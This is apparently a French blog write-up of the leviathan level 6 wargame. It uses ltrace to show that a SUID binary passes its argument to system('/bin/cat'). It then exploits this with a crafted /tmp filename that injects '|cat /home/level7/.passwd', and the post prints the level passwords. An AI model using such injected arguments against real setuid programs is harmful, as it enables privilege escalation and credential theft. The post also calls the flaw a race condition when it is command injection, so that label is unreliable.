I'm currently traducing the posts in english, my english is not very good, so if you find errors feel free to contact me.
  • intruded.net : leviathan – level #6

    Bon level6, c’est le level qui m’a le plus bloqué sur leviathan.
    La technique utilisée pour faire le niveau s’appelle race condition.

    Rien dans le home level6, on file donc dans /wargame. Là le binaire printfile est SUID level7, c’est donc celui qui nous intéresse.

    On essaye donc de l’exécuter, il lui faut un fichier en argument, on re-test avec /home/level7/.passwd vu que c’est le fichier qui nous intéresse :

    1
    2
    
    level6@leviathan:/wargame$ ./printfile /home/level7/.passwd
    You cant have that file...

    owned.

    Un autre essai avec /home/level6/.passwd :

    1
    2
    
    level6@leviathan:/wargame$ ./printfile /home/level6/.passwd
    /bin/cat: /home/level6/.passwd: Permission denied

    owned, mais pas de la même façon, intéressant.
    Analysons les 2 messages :

    Le premier message d’erreur est renvoyé par le binaire lui même (printfile) alors que le second est renvoyé par /bin/cat, une fois qu’on a remarqué ça on peut déduire que le binaire suit ce schéma :
    - access
    - setuid
    - cat fichier

    On confirme cette analyse avec objdump et ltrace :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
    level6@leviathan:/wargame$ ltrace ./printfile /home/level6/.passwd
    __libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520 <unfinished ...>
    access("/home/level6/.passwd", 0)                                     = 0
    snprintf("/bin/cat /home/level6/.passwd", 511, "/bin/cat %s", "/home/level6/.passwd") = 29
    system("/bin/cat /home/level6/.passwd"6lyvLXCA
     <unfinished ...>
    --- SIGCHLD (Child exited) ---
    <... system resumed> )                                                = 0
    +++ exited (status 0) +++
    level6@leviathan:/wargame$ ltrace ./printfile /home/level7/.passwd
    __libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520 <unfinished ...>
    access("/home/level7/.passwd", 0)                                     = -1
    puts("You cant have that file..."You cant have that file...
    )                                    = 27
    +++ exited (status 1) +++

    C’est ce que l’on appelle une race condition, on fait un accès sur un fichier valide et le cat sur le fichier qui nous intéresse.
    Ce fichier est passé par argv[1], si vous ne savez pas ce qu’est argv[1] il est grand temps de se mettre au C.
    On peut donc simplement injecter une commande shell en argument, par exemple : « fichier | commande », il faut juste préalablement créer un fichier du même nom dans /tmp (qui est le seul répertoire auquel on a accès avec des droits d’écriture.) car access vérifie l’existence du fichier ;)
    L’argument que l’on va passer au programme sera donc : « fichier | cat /home/level7/.passwd » :

    1
    2
    
    level6@leviathan:/wargame$ mkdir -p "/tmp/|cat /home/level7"
    level6@leviathan:/wargame$ touch "/tmp/|cat /home/level7/.passwd"

    Voilà, on relance le binaire avec « /tmp/|cat /home/level7/.passwd » comme argument.

    1
    2
    3
    
    level6@leviathan:/wargame$ ./printfile "/tmp/|cat /home/level7/.passwd"
    /bin/cat: /tmp/: Permission denied
    X98ZdPfp

Rss Feed Tweeter button